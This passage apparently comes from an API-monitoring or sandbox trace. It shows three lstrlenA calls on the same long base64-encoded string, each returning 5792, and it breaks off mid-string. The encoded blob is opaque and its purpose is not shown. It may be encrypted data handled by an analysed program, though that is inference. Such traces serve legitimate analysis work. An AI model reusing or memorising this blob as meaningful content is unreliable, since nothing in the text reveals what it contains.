(lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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